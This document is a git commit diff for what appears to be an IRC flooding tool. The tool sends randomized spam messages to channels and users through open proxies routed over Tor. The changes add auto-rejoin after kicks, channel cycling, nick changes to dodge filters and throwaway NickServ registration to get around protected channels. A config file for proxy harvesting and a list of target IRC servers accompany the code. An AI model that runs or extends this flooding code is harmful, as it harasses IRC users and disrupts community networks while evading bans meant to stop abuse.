changes
This commit is contained in:
38
config.ini
Normal file
38
config.ini
Normal file
@@ -0,0 +1,38 @@
|
|||||||
|
[common]
|
||||||
|
tor_hosts = 127.0.0.1:9050, 192.168.10.252:9050, 192.168.10.50:9050
|
||||||
|
|
||||||
|
[watchd]
|
||||||
|
max_fail = 10
|
||||||
|
threads = 20
|
||||||
|
timeout = 15
|
||||||
|
submit_after = 100
|
||||||
|
use_ssl = 0
|
||||||
|
debug = 0
|
||||||
|
checktime = 1800
|
||||||
|
perfail_checktime = 300
|
||||||
|
database = proxies.sqlite
|
||||||
|
outage_threshold = 4
|
||||||
|
tor_safeguard = 0
|
||||||
|
oldies = 1
|
||||||
|
oldies_checktime = 3600
|
||||||
|
oldies_multi = 1024
|
||||||
|
|
||||||
|
[ppf]
|
||||||
|
max_fail = 15
|
||||||
|
search = 1
|
||||||
|
timeout = 30
|
||||||
|
http_retries = 1
|
||||||
|
checktime = 3600
|
||||||
|
perfail_checktime = 7200
|
||||||
|
database = websites.sqlite
|
||||||
|
threads = 5
|
||||||
|
|
||||||
|
[scraper]
|
||||||
|
query = s
|
||||||
|
[httpd]
|
||||||
|
listenip = 127.0.0.1
|
||||||
|
port = 8081
|
||||||
|
enabled = 0
|
||||||
|
|
||||||
|
[flood]
|
||||||
|
debug = 0
|
||||||
@@ -60,6 +60,7 @@ class Config(ComboParser):
|
|||||||
self.add_item(section, 'threads', int, 1, '# of threads', False)
|
self.add_item(section, 'threads', int, 1, '# of threads', False)
|
||||||
self.add_item(section, 'register', int, 0, 'register nickname when required', False)
|
self.add_item(section, 'register', int, 0, 'register nickname when required', False)
|
||||||
|
|
||||||
|
self.add_item(section, 'wait', int, 0, 'wait prior sending messages', False)
|
||||||
self.add_item(section, 'once', int, 0, 'quit as soon as possible', False)
|
self.add_item(section, 'once', int, 0, 'quit as soon as possible', False)
|
||||||
self.add_item(section, 'hilight', int, 0, 'try to hilight all nicks?', False)
|
self.add_item(section, 'hilight', int, 0, 'try to hilight all nicks?', False)
|
||||||
self.add_item(section, 'waitonsuccess', int, 0, 'wait for a while on success', False)
|
self.add_item(section, 'waitonsuccess', int, 0, 'wait for a while on success', False)
|
||||||
|
|||||||
@@ -101,6 +101,7 @@ def flood(sock):
|
|||||||
ret = False
|
ret = False
|
||||||
connected = False
|
connected = False
|
||||||
sentquery = False
|
sentquery = False
|
||||||
|
isjoined = None
|
||||||
global is_target_protected
|
global is_target_protected
|
||||||
global default_threads
|
global default_threads
|
||||||
global waitonsuccess
|
global waitonsuccess
|
||||||
@@ -142,15 +143,21 @@ def flood(sock):
|
|||||||
# flood in PVs
|
# flood in PVs
|
||||||
if connected and (time.time() - connected) > config.flood.noquerybefore and len(nicks):
|
if connected and (time.time() - connected) > config.flood.noquerybefore and len(nicks):
|
||||||
if not sentquery or (time.time() - sentquery) > 60:
|
if not sentquery or (time.time() - sentquery) > 60:
|
||||||
print('sending queries ?')
|
|
||||||
if config.flood.change_nick and config.flood.message is not None:
|
if config.flood.change_nick and config.flood.message is not None:
|
||||||
|
print('sending queries ? (nickchange)')
|
||||||
for i in range(config.flood.change_nick):
|
for i in range(config.flood.change_nick):
|
||||||
sock.send('PRIVMSG %s :%s\r\nNICK %s\r\n' %(','.join(nicks), randcrap(random.choice(msgs)), random.choice(nicklist)))
|
sock.send('PRIVMSG %s :%s\r\nNICK %s\r\n' %(','.join(nicks), randcrap(random.choice(msgs)), random.choice(nicklist)))
|
||||||
time.sleep(0.3)
|
time.sleep(0.3)
|
||||||
elif config.flood.message is not None:
|
elif config.flood.message is not None:
|
||||||
|
print('sending queries ?')
|
||||||
sock.send('PRIVMSG %s :%s\r\n' % (','.join(nicks), randcrap(random.choice(msgs))))
|
sock.send('PRIVMSG %s :%s\r\n' % (','.join(nicks), randcrap(random.choice(msgs))))
|
||||||
sentquery = time.time()
|
sentquery = time.time()
|
||||||
|
|
||||||
|
if connected and config.flood.message and isjoined:
|
||||||
|
if not config.flood.wait or (time.time() - isjoined) > config.flood.wait:
|
||||||
|
sock.send('PRIVMSG %s :%s\n' % (','.join(chans), randcrap(random.choice(msgs))))
|
||||||
|
time.sleep(0.7)
|
||||||
|
|
||||||
_split = recv.split(' ')
|
_split = recv.split(' ')
|
||||||
if _split[1] == 'PONG':
|
if _split[1] == 'PONG':
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
@@ -166,11 +173,11 @@ def flood(sock):
|
|||||||
send.append('JOIN %s' % ','.join(chans))
|
send.append('JOIN %s' % ','.join(chans))
|
||||||
if config.flood.message:
|
if config.flood.message:
|
||||||
send.append('PRIVMSG %s :%s' % (','.join(chans), randcrap(random.choice(msgs))))
|
send.append('PRIVMSG %s :%s' % (','.join(chans), randcrap(random.choice(msgs))))
|
||||||
if cycle:
|
#if cycle:
|
||||||
if config.flood.message:
|
# if config.flood.message:
|
||||||
send.append('PART %s :%s' %(','.join(chans), randcrap(random.choice(msgs))))
|
# send.append('PART %s :%s' %(','.join(chans), randcrap(random.choice(msgs))))
|
||||||
else:
|
# else:
|
||||||
send.append('PART %s' %','.join(chans))
|
# send.append('PART %s' %','.join(chans))
|
||||||
|
|
||||||
## spam nicks on connect
|
## spam nicks on connect
|
||||||
if len(nicks) and config.flood.message and connected and (time.time() - connected) > config.flood.noquerybefore:
|
if len(nicks) and config.flood.message and connected and (time.time() - connected) > config.flood.noquerybefore:
|
||||||
@@ -183,8 +190,13 @@ def flood(sock):
|
|||||||
print( '001: sending %s' % '\r\n'.join(send))
|
print( '001: sending %s' % '\r\n'.join(send))
|
||||||
sock.send('\r\n'.join(send) + '\r\n')
|
sock.send('\r\n'.join(send) + '\r\n')
|
||||||
|
|
||||||
|
elif _split[1] == 'PART':
|
||||||
|
if recv.startswith(':%s!' % nick): isjoined = None
|
||||||
|
if config.flood.cycle: sock.send('JOIN %s\n' % _split[2].lstrip(':'))
|
||||||
|
|
||||||
# end of names list (joined a chan)
|
# end of names list (joined a chan)
|
||||||
elif _split[1] == '366':
|
elif _split[1] == '366':
|
||||||
|
isjoined = time.time()
|
||||||
ret = True
|
ret = True
|
||||||
send = []
|
send = []
|
||||||
c = _split[3]
|
c = _split[3]
|
||||||
@@ -201,11 +213,21 @@ def flood(sock):
|
|||||||
if not c in chans:
|
if not c in chans:
|
||||||
chans.append(c)
|
chans.append(c)
|
||||||
|
|
||||||
if cycle:
|
#if cycle:
|
||||||
if config.flood.message is not None:
|
# if config.flood.message is not None:
|
||||||
send.append('JOIN %s\r\nPRIVMSG %s :%s\r\nPART %s :%s' %(c,c,randcrap(random.choice(msgs)),c, randcrap(random.choice(msgs))))
|
# send.append('JOIN %s\r\nPRIVMSG %s :%s\r\nPART %s :%s' %(c,c,randcrap(random.choice(msgs)),c, randcrap(random.choice(msgs))))
|
||||||
else:
|
# else:
|
||||||
send.append('JOIN %s\r\nPART %s' %(c,c))
|
# send.append('JOIN %s\r\nPART %s' %(c,c))
|
||||||
|
|
||||||
|
if config.flood.message:
|
||||||
|
if not config.flood.wait or (time.time() - isjoined) > config.flood.wait:
|
||||||
|
send.append('PRIVMSG %s :%s' %(c,randcrap(random.choice(msgs))))
|
||||||
|
|
||||||
|
if config.flood.cycle:
|
||||||
|
if config.flood.message:
|
||||||
|
message = randcrap( random.choice(msgs) )
|
||||||
|
else: message = ''
|
||||||
|
send.append('PART %s :%s\n' % (c,message))
|
||||||
|
|
||||||
if config.flood.once:
|
if config.flood.once:
|
||||||
send.append('QUIT')
|
send.append('QUIT')
|
||||||
@@ -252,6 +274,16 @@ def flood(sock):
|
|||||||
sock.send('KNOCK %s\r\n' % _split[3])
|
sock.send('KNOCK %s\r\n' % _split[3])
|
||||||
if _split[3] in chans: chans.remove( _split[3] )
|
if _split[3] in chans: chans.remove( _split[3] )
|
||||||
|
|
||||||
|
# bot has been kicked
|
||||||
|
elif _split[1] == 'KICK':
|
||||||
|
if _split[3] == nick: sock.send('JOIN %s\n' % _split[3])
|
||||||
|
|
||||||
|
# user is not present
|
||||||
|
elif _split[1] == '401':
|
||||||
|
if not ret: ret = True
|
||||||
|
#if _split[3] in chans: chans.remove(_split[3])
|
||||||
|
if _split[3] in nicks: nicks.remove(_split[3])
|
||||||
|
if not len(chans) and not len(nicks): break
|
||||||
# banned from chan
|
# banned from chan
|
||||||
elif _split[1] == '404':
|
elif _split[1] == '404':
|
||||||
if not ret: ret = True
|
if not ret: ret = True
|
||||||
@@ -263,8 +295,9 @@ def flood(sock):
|
|||||||
|
|
||||||
if not config.flood.register:
|
if not config.flood.register:
|
||||||
if _split[3] in chans: chans.remove(_split[3])
|
if _split[3] in chans: chans.remove(_split[3])
|
||||||
elif _split[3] in nicks: nicks.remove(_split[3])
|
if _split[3] in nicks: nicks.remove(_split[3])
|
||||||
print('target "%s" is protected (+R)' % _split[3])
|
print('target "%s" is protected (+R)' % _split[3])
|
||||||
|
if not len(chans) and not len(nicks): break
|
||||||
|
|
||||||
else:
|
else:
|
||||||
sock.send('PRIVMSG %s :register hunter2 %s@gmail.com\r\n' %(config.flood.nickserv,nick))
|
sock.send('PRIVMSG %s :register hunter2 %s@gmail.com\r\n' %(config.flood.nickserv,nick))
|
||||||
@@ -332,6 +365,7 @@ class WorkerJob():
|
|||||||
status = flood(sock)
|
status = flood(sock)
|
||||||
print('status: %s' %str(status))
|
print('status: %s' %str(status))
|
||||||
if not status and not self.proxy in badlist: badlist.append(self.proxy)
|
if not status and not self.proxy in badlist: badlist.append(self.proxy)
|
||||||
|
if not status and random.random() < random.random(): status = False
|
||||||
return status
|
return status
|
||||||
|
|
||||||
except rocksock.RocksockException as e:
|
except rocksock.RocksockException as e:
|
||||||
@@ -577,7 +611,7 @@ class Proxywatchd():
|
|||||||
if self.in_background:
|
if self.in_background:
|
||||||
wt.start_thread()
|
wt.start_thread()
|
||||||
self.threads.append(wt)
|
self.threads.append(wt)
|
||||||
time.sleep( (random.random()/100) )
|
time.sleep( (random.random()/100) )
|
||||||
|
|
||||||
sleeptime = 0
|
sleeptime = 0
|
||||||
|
|
||||||
|
|||||||
@@ -22,7 +22,6 @@ irc.europnet.org
|
|||||||
irc.eversible.com
|
irc.eversible.com
|
||||||
irc.fdfnet.net
|
irc.fdfnet.net
|
||||||
irc.fef.net
|
irc.fef.net
|
||||||
irc.freequest.net
|
|
||||||
irc.gamesurge.net
|
irc.gamesurge.net
|
||||||
irc.geekshed.net
|
irc.geekshed.net
|
||||||
irc.german-freakz.net
|
irc.german-freakz.net
|
||||||
|
|||||||
Reference in New Issue
Block a user